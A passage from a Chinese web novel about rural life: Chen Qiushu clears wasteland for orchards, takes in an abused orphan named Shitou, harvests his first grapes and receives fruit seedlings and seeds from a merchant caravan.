柳丁香想也不想“你倒是问得巧了,这样,你若是相信,过些日子他们便要回来,到时我让人来一趟这里,你想要的东西告知他们便好,最好是有个图画。”
事情顺利,陈秋树真诚实意道谢“那陈某先谢过柳姑娘”
一顿饭吃得相当的宾主尽欢。
出了酒楼,柳丁香就被郑杉的手下叫了去,说是县令有事想请教柳姑凉。
“…………”
回到家里天上还早,因为喝了果酒,许橙有些醉意,脸蛋上浮着两坨薄红。她鬼使神差的问,“我好,还是柳姑娘好,”
陈秋树树一刻不犹豫“你好,谁都没有你好”
“许橙满意的笑了”
两人一通打闹,不知何时又闹到了床上。一小盒香膏全用在了身上,那香味好几天也没消散干净。
今年这个赏花节办了差不多十天,来往的人才渐渐减少。
出去摆摊子的人家多多少少都赚了几两银子。村子里的笑声都多了一些。
而那些没去的,就开始愁眉苦脸了。
许家院子又传来了激烈的吵骂声,张翠芳骂骂咧咧,“老虔婆,有什么好显摆了,几个歪瓜裂枣,谁家还没有了……”
许顺财抽着旱烟“骂什么骂,人又没拿你的”
许平还在哭得抽抽噎噎,“娘,我也要吃糖”
张翠芬大力摸了孩子一把鼻涕,直把小脸搓得通红“吃吃吃,你那姐夫现在发财了,也不知道送点过来孝敬,,真是一群没良心的……”
……
这些陈秋树不知道也懒得管,不关他的事,他现在可忙了,春风一吹地里的杂草一天一个样。
不得赶紧了拔,还要抢了葡萄的养分。
地里活计是做也做不完,干完这里接着那两。
夜里还得忙着写画侧,他把记忆里的果树果苗尽可能的画下来,写清楚。
忙忙碌碌了大半个月,玉友楼那边来了消息,商队终于来了。
陈秋树快马加鞭的赶过去,终于见着了人,这商队规模很大,一排在平阳县的城门下等着,他们不打算进城,等着陈秋树说完就要离开。
陈秋树也不耽搁时间,直接把画册拿出来给领队的,交代了句“若是有其他的果树或者种子尽可带来。”
这支商队走商多年,在定州都小有名气,事情交给他们,陈秋树很放心。
等商队离开,他才骑上马去绣坊接许橙回家。
家里的树苗不急不缓的向阳生长,除了定期施肥,目前没什么可操心的。
现在手里头有了钱,趁着现在没什么事可忙。刚好可以买些荒地来养着。
熟土不好买,没有人家会无事卖田卖地,那是村里人生存的根本。
就算有那么一两户,那太分散也不好管理。
不如直接买一片荒坡来好好养养。
选来选去,选了好几天,陈秋树最终敲定了许橙和王婶家屋侧的那片山地,这片刚好朝南,不会被旁边的大山挡住阳光。
荒地比肥地便宜了不少,一亩肥田八两银子,一亩荒地六两,陈秋树一口气买了五百亩,哗啦啦的去了三千两银子。
他拿着地契安慰自己,钱放在家里也
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不会生出崽,何况这不是有地吗?
许橙的小屋就在这儿,为了方便以后两头住,就把屋子简单的修缮了一下。
养地这事宜早不宜晚,第二日他便召集了村子里的老老小小四十来个人,带到山地去砍柴,除草,松土。一天三十文,包吃一餐。,至于为什么是老老小小?,
自然是现在农忙,年轻汉子都忙自家活儿了。而且别小看老头,他们干了一辈子的活,能干得很。比年轻人差不了多少。
有这样能赚钱的好事,被喊到的人家心里都乐开了花无一应允的。
一群老头风风火火的从自个儿家里带上了下地家伙,早早的去了后山干活,生怕比别做得人少,遭了陈家嫌弃。
有这样的效果,陈秋树很满意,毕竟谁不喜欢勤快的工人。
午饭是在许家小屋做的大锅菜,三大盆猪肉炖豆腐,三盆油渣炒青菜,和两大锅蛋花菠菜汤。白米饭管包。
陈秋树招呼大伙过来吃午饭,菜做得有多,他没有挨着一个个去分,都自己拿碗乘,想吃多少吃多少,别浪费就行。
他自己也乘了一碗,和大家一起坐在树下吃。
一个大叔,嘴上呼啦呼啦吃个不停,还要抽着空问“秋树啊,你买这么多荒地,打算种啥?。这地估计养不了庄稼。”
另一人不认同:“陈小子,你可别听他乱讲,那块肥土不是荒地种成的,你听叔的,你这地我看了,不是老板土,种黄豆最好”
“我看种番薯就不错,那玩意管饱又便宜”
说着大家哈哈笑起来。
…………
陈秋树边吃边听着他们说,等他们说玩才答道“今年是来不及洒春种了,养养,明年再看看能种些什么果子树。”
听他说完,几个老头表情严肃起来:“啥?树?,那可不好种,听说从种下到长果子要十来年,那得少了多少庄稼”
“我看行,陈小子是个不会种庄稼的,种了也是糟蹋土地和种子,”
“而且你们看,他细皮嫩肉,那里是个会干活的”
在这些农家人的眼里,请人做事就了一天两天,那能一辈子请人做,总归是要自己做的,陈秋树天天和他们一样下地干活,让他们忘记了陈家以前是有许多佃农户,而陈秋天又是个啥也干不了的,有这么多地,种树总要比荒这好。
“……”
陈秋树“……”
说得很好,下次别说了。
陈秋树没有反驳,他注意到远处的一个年轻男人,长得黑瘦,个子挺高,一颗脑袋低着扒饭,
菜碗里的肉和豆腐,油渣都没动,估摸就是吃汤泡饭了。
这人陈秋树认识,村子里的宋老二,老婆去年病死了,家里的地都卖得差不多,还有三个孩子嗷嗷待哺,这才开春,地里还是光秃秃一片,只怕是家里没有粮了。
聊了一会天,大伙也不歇着,吃饱了肚子干起活来就有劲。
陈秋树把剩下的饭菜用一个干净的盆装好,盖上木盖子,现在不方便拿出去给人,只能等晚上再说。
出去和这群大叔一起割了会草,看时辰不早,才先回去。
他现在是已婚人士,好好丈夫,当然是要去接媳妇下工。
——
陈秋树牵着马在绣坊门口站了好一会,才见一群绣娘结伴出了。
远远他就见到心心念念的人
许橙也看见了他,和身边的女孩说了几句就笑着朝他跑过来
他整颗心都被填满,忍不住往前走了几步。想接住跑过来的人。
奈何人太多,许橙没好意思扑他身上,陈秋树只能作罢
34. 石头
许橙眼睛弯弯,腕住了陈秋树伸来的胳膊。笑着问他“等久了吧?,累不累”
望妻石陈秋树“我也刚到,你就出来了”
两人骑马回长溪村,路上遇见了收工回家的王婶王叔。他家上个月刚刚买了辆牛车,现在出门可方便。
王叔见了他很高兴“你那儿很忙?,我明儿过去帮你”
他回头嚷道,“不忙,我找的人够着呢”
陈秋树马不停蹄的走了,留给王叔王婶一串马蹄哒哒声,他还要赶回去发工钱。
到家天已经快黑了,几个老头也是实在人,还在山上嘿咻嘿咻的干。
陈秋树叫来大家休息喝口水,明天再继续。
每人给了三十文铜板。
故意留宋老二最后一个发。等别人都走了。他从屋里把那盆菜给宋老二“这是干净的,做得太多,我俩也吃不完,你要的不嫌弃,就端回去给孩子们尝尝?”
宋老二露出了一口白牙,急忙接过“谢谢东家,不嫌弃,好着呢。”
等人离开,陈秋树感慨真是人各有命,有些苦难想躲也躲不过。
许橙说:“宋老二是个好的,我记得他娘子病重那会,白天夜里的都是他照顾,花了不少银子,那宋家还把他单独分了出来,当时他背他娘子去府城医馆。那几个小娃儿没人看顾怪可怜的,我还给送过好几次饭,,可惜他那娘子最后…………”
陈秋树把门锁上,看她情绪低落,便把人拉到身边,轻声问“我们回家吧,别说他们,今晚想吃什么?,我可以帮忙烧火”
许橙“…………”感伤一扫而空,回家做饭。
——
开荒是个大工程,还不知道要多少日子,倒是让原本寂寥的后山热闹起来,茂盛的草丛间,时不时窜出几只野兔。过来玩耍的孩子满山遍野的扑兔子。
陈秋树也不占孩子们便宜,当场宰了几个孩子分这带回家去,或者就地生火考兔子。
他太知道自己的身体的情况,虽然现在好不少,但到底不如长年劳动的的庄稼人。没敢拼着干,累了就坐在土堆上歇会。
正美滋滋的欣赏这片越来越规整的土地,忽然就有个脏兮兮泥孩子闯入了他的视线。
陈秋树吐掉了嘴里的狗尾草。从地上坐起来,看向眼前的泥孩子,又看看他身后,空无一人。
“你怎么来了?你奶呢?”
“我自己来的,你打倒了狗县令,是个大好人”。
“我……我奶没了……”声音哽咽,小孩儿用破烂的衣袖擦了擦眼睛。
陈秋树愣了好一下,才反应过来没了是什么意思
想起了那个在公堂上哭得肝肠寸断的老妇人。
原本就年事已高,生老病死人之长情。
孩子呜咽了一会,才梗这脖子说,“我以后是有大本事的人,你给我个窝棚住,我有钱,可以给你一点点”
好似为了证明自己没有说谎,他把脏兮兮好像还涂了粪便的包袱打开,又解开了里面干净的布袋给陈秋树看。里面装着估摸二十多两银子,和十几个铜板。
估计是衙门给的赔偿。
只见他在布包里面摸来摸去挑挑拣拣,最后忍痛掏了十枚铜板给陈秋树。
陈秋树“……”
好样的,果然是小小的老子。
“而且我还会干活”说着就捡起了地上的镰刀。开始割草,虽然速度像蜗牛,但还真是有模有样。”
陈秋树拧着他的后领子把人提起来,缓缓开口。“小东西,谁要你干活?你的铜板我收下了,窝棚没有房间倒是有一个”
这话一出,在他看不见的地方,小小的老子松了口气。
提着人到了屋子,问王婶有没有热水给他洗洗。
王婶从他开工的第二天就带着王小妮姐弟俩过来负责烧饭。比他做的滋味好了不少。
。
不一会就烧了一大锅热水出来。天气还不够暖和,陈秋树将就着灶火边还热乎,伸手要给小孩脱衣服。
谁知这小子死活不肯,使劲儿拽着衣领不放,陈秋树也恼了“你叫小石头是吧?你身上都臭了,自个闻不着?”
石头“那臭了,我秋天才洗的澡。”
陈秋树“…………“此时沉默震耳欲聋。
秋天!现在是春天了!
石头心虚的撇了门口一眼,又收回视线。王冬冬和王小妮像门神一样一左一右立在那。
两双眼睛一眨不眨的盯着这边。
陈秋树心想,小小年纪竟还害羞上了。
但应该照顾孩子的自尊心“小妮,带冬冬出去玩一会,等晚上我接你们橙儿姐回来给你俩带糖葫芦吃。”
两人应声跑了。
陈秋树把门关上才回过头问他“可以洗澡了吗?”
石头目光忽闪,最终还是松开了手。
陈秋树帮扒掉了脏兮兮外套,扒掉小一圈的破洞绵衣,和已经发黄但还算软和的里衣。
露了里面……脏污得全身都是芝麻点子的皮肤。
脏成这样,还嘴硬,陈秋树本想笑话他几句,还没笑出口。手上的就衣服就彻底的脱了下来。
他笑容一下子顿住,露出来不可置信的眼神
孩子手臂上全是淤青,一看便知道是人掐的。
青青紫紫从小臂一直延伸到肩膀处。。
石头想伸手去挡,手臂晃动肩间,陈秋树注意到了他的后腰也有红痕,
立刻把他背过身去身,见到全貌,忍不倒吸一口凉气。从腰至整个股部,布满了被抽打过的红痕。
被人看见窝囊事,小孩眼泪要掉不掉。
陈秋树只得把他抱在腿上避开身上的淤青和红痕,用布巾擦洗。
嘴里叨叨:“都这样了,还想着割草”
洗好后把他裹在被子里,小孩又一副生龙活虎好奇的左右乱晃,
陈秋树叮嘱,“再晃,被子就掉了,”
小孩哥:……不嘻嘻,不动了
王婶从家里拿了两套王冬冬的衣服过来。
这孩子死要面子,陈秋树想想还是自己动手给他穿,
一上午他什么都没问,一直等到午时吃饭,单独给给石头端了一份到屋子里。
小孩大口大口的吃饭,像是什么珍馐美味。
“婶儿做的饭真好吃”
陈秋树揉了他的头一把,“好吃你就多吃点”,陈秋树看他吃饭。问他“你怎么来的?”<
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p>石头无所谓上:“我走过来的”
陈秋树又问“你怎么想到要来这儿?”
石头把最后一口饭吞下去。“我奶说她要是没了,就让我跟我堂叔家住,还把我爹娘的银子分了大半给他们,”说到这他气氛的咬牙切齿。
“他们还想要银子,我不给,就打我,还不给我吃饭,”
陈秋树知道了,这是一家想吃绝户的畜生。
“他们打我,我饿得难受,就跑出来了。”
从孩子喋喋不休的谩骂中。得知原来吴连春生前就打算把石头养在他堂叔家,还把孩子爹娘的赔偿款分了一大半出来。
谁知这家人是全是笑面虎,当面一套,背后一套,竟还想着石头身上的那点银子。背着人躲在屋子对他非打即骂。
不给他饭吃也不让他出门。
这样的日子过了一个月,有天夜里饿得受不了。恍惚想起了曾经有过两面之缘,又给他爹娘报过仇的陈秋树。
他还不想死,悄悄摸摸的翻出窗外,把藏起来的银子挖出来包好,涂了些狗屎寄在身上
临走之前,还放了把火烧了他堂叔家的猪圈,里面还有三头猪呢。
一时间大家都忙着救火那有时间理他,等发现的时候让人已经跑出几里地了。
他记得陈秋树骑马带他走过的那条路,特别酷。一直往前跑。
怕被人看出他身上有钱,不敢去买东西,饿了就捡别人不要的吃,捡不到就去山上摘野果,挖野菜。掏鸟蛋。
一路跌跌撞撞,兜兜转转五六天,才终于到了平阳县,他慌了,陈家在那?。几个书生路过见他可怜,便给他指了路。
然后他就找来了。
听完陈秋树都忍不住替他捏了把汗,夸奖道。“你很厉害”
石头脸偷偷红了“我会做事,吃得还少。求求你好心收留我吧。”
“你安心住这,我家房间多着呢,也不缺你一口饭。”这样小的孩子,跋山涉水来找他,陈秋树不缺吃不缺穿。养着自然没关系,再说他也不放心再让这孩子离开。
只是还得好好和许橙说说,这事是他不对,先斩后奏。
吃完饭,孩子他还想去割草,陈秋树把他按会被窝里,
“困了就休息一天”
陈秋树在一边收拾他抹了屎的包袱,心想,这孩子果真是个聪明的,包袱里竟然还有的的户籍。
这是个让人意外的惊喜。原本他还得想法子防止那些个才狼虎豹追过来,现在来看,事情简单多了。
他拿了一个新布包,把的银子和户籍从新包好,放在孩子的枕头边。
这孩子刚刚还吵吵嚷嚷,这一会功夫就睡熟了。
下午陈秋树照常去接许橙。
“怎么又跑一趟,我不是说跟着王叔一块回去吗?”话这么说着,但语气难掩开心。
陈秋树牵她上马,“想你了,就过来接你,”
回去的路上陈秋树买了四根糖葫芦,一根给许橙拿着吃,剩下的包起来带回去给孩子们。
路上他把石头的事情和许橙说了
而许橙,无疑是个善良,并且共青能力很强的人,在她的嘴里,那些坏东西简直是畜生不如。
。
35. 山鸡
石头已经醒了,此时正一脸麻木的呆坐在床上。被王家姐弟围着问冬问西,。嘴上没头没尾敷衍的回了几句,耳朵仔细的听着屋外的风吹草动
哒,哒,哒——马蹄声由远而近,他便立刻走到了门口往外看。
陈秋树把许橙从马上接下来。挨着揉了三个小萝卜头一把。
从纸包里的糖葫芦拿出来分给他们。
“谢谢秋树大哥”王家姐弟异口同声
石头受宠若惊,吞了吞口水,忍着没有立即打开吃,他问“是送给我的?”
陈秋树好笑“不然呢,还能是给你拿着看?”
“那太好了?”小孩高兴起来,颠颠跑到了许橙面前,
露出一副讨好的表情。夹着嗓子说“橙子姐姐,这个给你吃,可甜了,”
陈秋树“……”手有点痒
许橙还沉浸在石头的悲惨命运里,这会儿见了人,怎么看都觉得他又瘦又小,瞬间心痛不已,肯定是那家人磋磨的。
蹲下身细声哄到“姐姐已经吃过了,这是给你买的,石头吃”
“过来的路上累不累?,明儿我抓只鸡补补。”
“今后就把这儿当家吧?”
想装个乖拿糖葫芦贿赂许橙的小孩哥“?”。他觉得可能水喝多了,不然怎么老是有水从眼睛里流出来。
石头擦干眼睛上的水,觉得这个世界上,除了爹娘和奶奶,再也遇不上这样的好人。左右看看身边的两个人,心里暗暗下定某种决心
“谢谢姐姐,谢谢秋树哥,你们放心,等我长大出息了,一定会好好孝顺你们”
“……”
三人吃了晚饭才一起回了家。家里就有一间客房,现在都不用收拾,石头可以直接拎包入住,许橙还给抱来了两床干净的被褥。
石头左摸摸右看看,“秋树哥,你家真大,就像县城里的姥爷家一样”
“这以后就是我的房间吗?。这也太大了,我以前都是和我奶住睡一个床”
“这褥子是棉花吗?,好香~”
陈秋树:“快点睡觉,再嚷嚷就把你丢出去……”
话还没说话,腰就被许橙捏了一把,不是很痛,但是痒痒。
许橙给小孩哥掖好被子,拍了拍他的肩“这以后就是石头的房间了,睡吧?”
等他睡着,两人也回了屋子。
陈秋树抱着许橙的腰,嘴上有一下没一下的亲她,低着声音问她“喜欢小孩子?”
许橙不知他为何会问这个问题,但还是实话实说,“恩,你不喜欢?”
看见许橙无辜又水汪汪的大眼睛。陈秋树自己给自己气笑了,他竟然吃起了孩子瞎醋。
“当然喜欢,我们自己生一个”说完就去解衣服。
许橙挣扎了几下“干嘛呢,!石头还在睡觉!”
陈秋树“明天我就给他般远点,现在只要我们声音不大……”
许橙“……”
最后她的腿挣扎到了陈秋树的肩上。
石头的房间想想还是没搬,孩子还小,估计没什么安全感,住得太远,有个啥动静的听不着。
隔天,要带他去里正家问问办理户籍,这事情早做早好。
一大一小走在路上,,陈秋树问他,“你可想清楚了,这籍印一盖,你可就成了陈家人了”
石头还太小,尚且不能单独立户。
陈秋树让他认自己做个大哥,户籍就落在陈家。将来待他长大成人,再单独分户出去便是。
石头坚定的点点头“恩,俺奶说了,你们一家都是好人,”
陈秋树笑笑“你奶说得对”
里正见了这么个外来小孩,还有些好奇,“这是……”
陈秋树介绍道:“这是连春婶家的小孙子,连春婶年纪大了,上个月………………”
里正叹口气,真是世事无常
“这孩子命苦,家里也没个亲叔伯,连春婶给我家做了十几年的饭,如今寻到到这儿了,我自是要看顾着点”
“便是让他认我做个哥哥,这会过来请叔帮忙上个户籍”
陈秋树把石头的户帖给了里正
当年吴连春是在陈家做了好些年厨娘,这事儿村里人都知道的,里正也不例外,能帮忙肯定愿意帮忙,既然有了户帖又有陈秋树做担保,没有什么不放心的。
“有户帖,这事儿好办,等我写个文书,衙门那边盖个籍印,这事就成了,你俩放心吧”
。
从里正家回来,石头格外开心,走起路来一蹦一跳
路上顺便带他去开了个治淤伤的药膏。一身的伤也不知道疼?回去竟然还要和陈秋树去割草。
陈秋树一把提溜起来“,干什么去?”
石头一脸茫然“割草啊?”
陈秋树那能真让他割“以后有的是事情让你做,,去和王冬冬玩儿去”
……
————
地里的草木割一个多月才割完,拢成一堆堆的在地里烧。滚滚白烟像云朵一样飘向天空。
几个孩子从山里蜂拥而下,不停的追逐一只伤了脚的野山鸡。
石头冲在最前面,这一个月他已经跟孩子们混熟了,而他本身也是个活泼的皮性子。
只见他一个飞扑,压得身下的野山鸡咯咯直叫。
陈秋树都忍不住想拍手叫好,小小年纪,伸手不错。
石头提着两只野鸡,飞也是的跑了过来,一身新衣服上扑得全是黄土。激动的嚷叫开:“大哥,有鸡吃了”
宋老二家大娃也在这里玩,羡慕的看着石头捉道的鸡。
陈秋树招呼宋老二来帮着把鸡杀了放血,就着现成烧起的火星子烤。洒上一点儿盐,香得几个孩子直留口水。
因为是石头先抓到的,得了一只鸡腿,其他部位几个孩子分了,他们都不挑,由着陈秋树分,是肉就很好吃,而且山鸡骨头少,都是大块的肉。
石头把鸡腿撕下一块递给陈秋树吃,又撕下一块放在他随身携带的油纸包里。一个鸡腿基本就没剩下多少肉了。
陈秋树没拒绝,孩子有良心,这是好事。
小孩并不嫌肉少,看见陈秋树开始吃,这才津津有味的享用自己的烤鸡腿。骨头嗦得干干净净,还一个劲在那儿舔。
陈秋树拍了他头一下,“看你这吃相,跟平日饿着你一样。”
石头“家里的菜,哪有这山鸡味儿香,”说完还露出一副陶醉样儿,真好吃啊~”
陈秋树觉得也很好吃,“你要是还想吃,过几天去杨猎户那儿买一只
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回来去炖蘑菇”
孩子眼睛都亮了,
嘴里的骨头也不嗦了“真的?”
“当然”
小孩兴奋的跳起半米高,激动的跑去和小伙伴玩去了。
夜里石头把油纸里那块鸡肉放在米饭里蒸,自己坐在小凳子上一刻不离的守着,别让人给他偷了去。
等陈秋树把许橙接回来,迎接她的便是一块热乎乎的鸡腿肉,虽然很少,也足够让她感动。
有时会觉得自己无比幸运,有陈秋树陪着,现在又多了个小石头。
陈秋树见不得她为一块肉动容,决定不等了,明天就去买两只山鸡。让这一大一小吃到撑。
杨猎户是十里八乡有名的猎户,打猎得本事一流,陈秋树如愿的买到的两只大山鸡,鲜亮的羽毛被石头插在脑袋上玩,拿棍子对着柴火一炖乱劈,大喊“俺老孙来也!看招“。
陈秋树“……”
晚上闲着没事,陈秋树就爱给许橙和小孩讲西游记的故事。小孩现在显然已经是成了孙悟空小迷弟。
三人没去后山吃大锅饭,在家里炖了满满一锅山鸡炖野菇,光是闻着都能鲜掉眉毛。
两只鸡还是太多,成陈秋树买的是活鸡,干脆把一只养在后院,过段时间再吃,免得做多了吃不完浪费。
给许橙和石头一人撕了一个大鸡腿,其实他不吃鸡腿鸡胸这样大块的肉,更偏爱鸡翅,脚脚这些带骨头的。
许橙见他只吃鸡翅,便给他夹了一筷子鸡胸肉。,好东西就是要一起吃才香。
三人吃得喷香,剩下的鸡汤也没有倒掉,明早可以下碗鸡汤面。
春天雨水多,连着下了好几场大雨,平日里总是春雨绵绵,山间弥漫着散不开的白雾。
地里杂草已经清理干净,工人们拿着锄头挖土清理土里碎石。这片荒山终于有了点庄稼地的轮廓。
陈秋树今日过来叫了三个男人和他一起去砍树桩。
葡萄苗已经开始牵藤,这时候要钉桩,让它顺着桩子爬,不然苗扑到了地上,结的果子也会烂在土里。
四个人都是家里的顶梁柱,做惯了力气活,不一会就砍到了十几颗长得笔直的松树,有人大腿粗细一棵。
几人配合把树分成节,用砍柴刀把下面削尖,方便插进土里。
他回家把马车赶过来,拉了好几趟才把树桩全部拉到葡萄园里。
今天埋桩肯定是来不及。这个时辰大家都饿得前胸贴后背。一起到后山吃大锅饭去了。
葡萄长得茂盛,绿油油的叶子上有细小的露珠,陈秋树每天出门都要站在门口看上一会,第一年是接不了太多果,
待明年再来看,定会果香扑鼻。
过来埋桩的汉子问“秋树,你这就是葡萄?”
“我还是听县里人说过这玩意,不知道啥味儿,还以为跟野杏一样长树上哩!”
陈秋树看着几双带着求知欲的眼睛,笑道“等结了果,到时候大伙都来尝个鲜”
“哎……这可是你说的,你可别反悔,”
陈秋树瑶瑶头“不反悔,大家都是乡亲,以后有事情还得大伙帮忙”
“哈哈……”,爽朗笑声惊飞树梢的鸟儿,
“那我们可等着哩,有啥事你可开口……”
36. 种子
几个年轻男人打着嘴泡,手里的活不停歇。埋好的树桩,要用细铁丝绑好连接起来,方便长在中间的幼苗往上爬,,等苗再长大一点,再用布条把枝杆缠在铁丝上。防止倒塌。一直忙到天黑,才弄好。
陈秋树站在围栏外,满意的点点头,成就感爆棚,好似已经吃到了甜滋滋的葡萄。。
他累得坐在树阴下乘凉,不停煽动胸前的衣襟,让身体凉快凉快。
太热了,土地里面干活的男人们,都脱掉了短卦,露着晒得红黑的膀子挥着锄头挖土。
陈秋树喝了口水,朝他们喊到“大家都过来歇会,太晒了”
“你歇着,咱几个再挖一会,今天就能结束”
太阳晃眼,陈秋树看不清是谁在说话。
时隔三月,这片长满杂草灌木的山坡,终于成了庄稼地的模样。这一大片都是他的。如何能叫人不兴奋。
可惜他现在手里没有种子,这个季节也没有适合栽种的农作物。但也不能就怎么空着。
于是他问做活的工人,家里地不够种的,可以过来种些短季蔬菜吃。
大家一听要来的人不少,大多种青菜茄子辣椒,这些东西可以多种点,吃不完可以掩咸菜,或晒成菜干,留着冬天吃。
许橙会做做辣椒酱,他们也种了不少辣椒,萝卜,和一些当季的蔬菜。
即使这样,空下来的也还有一大片,陈秋树想想,撒了一片萝卜籽,吃不完就卖,卖不去就让烂土里当肥料。
天天炎热,隔着几天日子就要到葡萄地里去浇水。
葡萄藤已经长得有半人多高,分出的枝丫把空地填满,只留出了够人行走的过道。茂密的绿叶下,偶尔能看到挂着的绿宝石一样的小葡萄。
陈秋树弯着腰给它们施肥浇水除草。汗液顺着下巴往下滴。
干了一上午的苦力,他把头上的草帽摘下来扇风,听见远处许橙叫他吃饭的声音。
这里离陈家不远,中午许橙做好了饭菜,便喜欢站在门口大声叫他。
陈秋树拍了拍沾到身上的蜘蛛网,回家去了。
————
日子忙忙碌碌,秋风悄然而至。
村子里的风都带着田野里稻子的香味。
陈秋树用剪刀剪下一串葡萄,放进许橙提着的竹篮里,刚刚采摘下来的葡萄上面还有新鲜的白霜,绿色的果皮包裹着晶莹的果肉。
陈秋树笑了笑,“回去放给你放井里凉着吃。”
许橙点点头应声“好,”
一双眼睛盯着葡萄,犹如碰着什么稀世之宝,她还是去年尝过,又甜又香。
陈秋树忍不住低头亲她一口,许橙随着他亲,反正这一大园子,只有他二人,,更何况这么高的葡萄藤挡着,即便有人也看不到什么。
老婆这么乖,陈秋树更加肆无忌惮起来。
他剥掉一颗葡萄的皮,把果肉放入许橙口中,俯身吻了上去,
两人在一片绿意里接了一个葡萄味的吻
直到感觉手上的篮子松动,许橙才红着脸轻轻推开他。
今年的葡萄一共就摘了五筐,留下一蓝子家里吃,剩下的就拿去分给来家里做工的人家尝尝。
要是拿着满村子分,不够,也没有必要。
两人路过晒谷场,旁边有几个大樟树,村子里的妇孺都在这儿纳凉唠嗑,手里做些针线活,晒场上晒着黄灿灿的稻子,孩子们在里面跑来跑去,驱赶过来吃谷子的鸟雀。
有人见了他们打招呼,“咦~橙姐儿来了,快过来坐坐”
许橙捡了几串葡萄过去给她们吃,客气的说道“家里还有事儿,就不坐了,”
“这地里刚摘的,婶子们尝尝”
现在两人成了亲,日子过得平静安稳,那些流言蜚语渐渐销声匿迹。
大家见了碰了儿面都和和气气,不管真心还是假意,她觉得这样就很好。
陈秋树先给王叔,和杨婶家分了一部分,又分出一部分明天送去给吴掌柜,剩下的才骑着马挨着给来干活的宋老二他们那些人家送去。让大家都早点尝个新鲜。
夜里三个人坐在院子里乘凉,许橙把冰好的葡萄洗干净放在瓷盘子里。入口了冰凉清甜,让人忍不住想多吃几口。
石头连皮一酷爱儿吞了下去,今天他吃了许多,陈秋树怕他吃坏了肚子,说道:“慢慢吃,家里还有,多着呢,够你吃,”
石头嘴里的还没吞下去,两个腮帮子撑得鼓鼓的,含含糊糊说,“太好吃了,比糖还要甜……”话没说完又忘嘴里塞了一粒。
“甜也要少吃一些,免得吃坏了肚子”
石头不情不愿的点点头,“知道了,在吃最后一串”。又塞了一粒在嘴里
陈秋树懒得理他,偏过头去看许橙,这回赏心悦目多了。
许橙吃葡萄喜欢先挤一点汁水出来,尝到了甜的滋味,一双眼睛会微微眯起。吃完了果肉,就把果皮丢在盆里。
明天可以拿到菜地里去当肥料。
她认认真真的吃,连小小的葡萄崽也没放过。。
陈秋树也想吃,他总觉得许橙嘴里的要甜一些。
撇了一眼对面的小电灯泡,催促道“不早了,回去睡觉,小孩子熬夜小心长不高。”
石头不满的顺了一串葡萄,回房了。
陈秋树把剩下的端起来,牵着许橙回了屋子。
她抱着许橙坐在桌前,盯着她红润的双唇问“甜不甜”
许橙点点头,“很甜,真的种出来了,我相公很聪明”
陈秋树“嘻嘻~”
“那我们再多吃点”,说完,他把剥好皮的果肉放进许橙嘴里。
低下头品尝世间最甜的滋味。两人呼吸间都是香甜气息。
意乱情迷,衣襟散乱,陈秋树坐起来想要脱掉碍事的裤子,许橙欲拦不拦的阻止他的动作。夹着嗓子说“石头……石头,还在隔壁”
陈秋树不急不缓的脱裤子照常说出了那句话“只要我们声音不大…………”
许橙再从和从之间选择了从,就是一个果香肆意的夜晚。
————
“大哥,大哥,有人找”
陈秋树正拿着扫帚打扫地上的落叶,就见光溜溜只套了条裤衩的石头朝他跑过来。这几日是秋老虎,天气特别热。
陈秋树笑骂他“怎么又不穿衣服?”
“哎呀,我热,你快别说我了,玉友楼的小二哥来了,说是商队回来了”
“?”
陈秋树抱着光溜溜的娃就往屋
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子里跑,“来得正好。”
许橙从灶房里探出头来看,只见一大一小风风火火的回了家。
“怎么了?”
陈秋树一边把衣服往石头身上套一边说,“快别做饭了,咱们今天出去吃,商队的回来了!”
“这么快!”许橙惊喜不已,立即解开了身上的围裙。
一家三口到了城门下,果然看见长长的队伍正在整装休息。一辆辆马车载满了货物。
陈秋树一下马车。肖老板就瞧见了,爽朗的笑着走了过了。
“陈兄弟,你可算来了”
陈秋树抱拳行礼“,抱歉,让弟兄们久等了”
“小事儿,过来看看我给你带回来的好东西”
肖老板把他们引到第一辆马车前,提了好几个麻袋下来,又从夹车缝里拿了个布包。
“今年回来得早,有些是人家地方上的果子,你画册上没有,我顺便给你带了几颗苗子回来,布包里的是种子,你打开看看”
陈秋树先打开了那几个个麻袋,里面都是只留了一小节枝杆的小树苗,根部的泥土都用油纸小心的包好。他仔细分辨了一些就看见了杏,樱桃还有梨和苹果,柿子,。陈秋树笑容难压,都是好东西。
他打开布包看了看,里面都是一个个密封好的小布袋,
他随即取出几个,体验了一把抽盲盒的快乐。
石头早就眼巴巴的看了他好一会,现在争着要帮忙打开。
陈秋树递给他两个,给了许橙两个。自己也打开了一个,惊喜道“这百香果?”,看来是这就是人家地方上的果子了。
许橙打开了布袋,“这是什么?”
陈秋树上凑上前去看“这上香瓜的种子,春天种上,明年的这个时候就可以吃了”
许橙又打开了一个来看看,种子小小一粒,像一小包黑芝麻。她疑惑的看向陈秋树,表示让她说。
陈秋树仔细辨认了一翻,没认出来,“这,我也不知?,反正我们地多,到时候先种上,长出什么便是什么”
“要是野草呢?”
“那就拿铲子除掉”
……
石头一股脑的把布袋里的种子倒了一大半出来,悻悻然道“这南瓜籽怎么是黑色的,”说完他还丢了一颗在嘴里嚼。“真的是南瓜籽?”
陈秋树把袋子从他手里枪了过来,“这可不是南瓜籽,这是西瓜籽”
“西瓜籽,那是什么?”
“不知道了?…”
陈秋树全方面的给小孩描述了一遍西瓜是什么味道,像这样的天气来上一口,滋味儿能让人快乐似神仙。
石头听完馋得口水直在嘴里打转,把手里的小布袋紧紧的踹在怀里。
“那我们快点回去种,”
陈秋树及时抓着他的领子,“家里可没人做饭给你吃”
告别商队,三人在街上找了一家食肆,点了几个菜。吃饱了才回村。
第二天陈秋树就带着许橙和石头去后山的地里。
好些人家已经在里面种了不少青菜。远远看着绿油油的一片,
他挑了一块空地,用来种昨天拿回来的树苗,。
现在是九月中旬,种树苗是早了点,但不种就只能让其干死在家里
37. 上学
肖老板买回来的树苗大概一米多高,三百多颗,好在前些天下雨,土壤湿润,不然不好挖坑
他把树苗放进土坑里,盖上泥土用脚踩实了,一桶水下去把泥土浇透。再把那些长了枝丫的部分剪掉。只让树苗长根,来年再发芽。
那一包袱的种子,他专门找了个干燥的地方放起来,等着春天再来育苗。
……
九月一过,天气就冷了,咧咧寒风刮掉的树上的黄叶,今年的桂花依旧开的茂盛。
许橙买了好几个新坛子,来做桂花酿,桂花糕。
两人来到那颗开得最后的桂花树下,陈秋树拿竹竿在树梢几下敲打,漫天金桂簌簌落下。
许橙拢了拢铺在地上的麻布,满地的桂花便被好好的收拢起来。
许橙:“够了,够了,太多了用不完!”
陈秋树放下竹竿,掸了掸身上的花朵。从许橙手里把包袱接过来挎在自己身上“好,回去吧?”
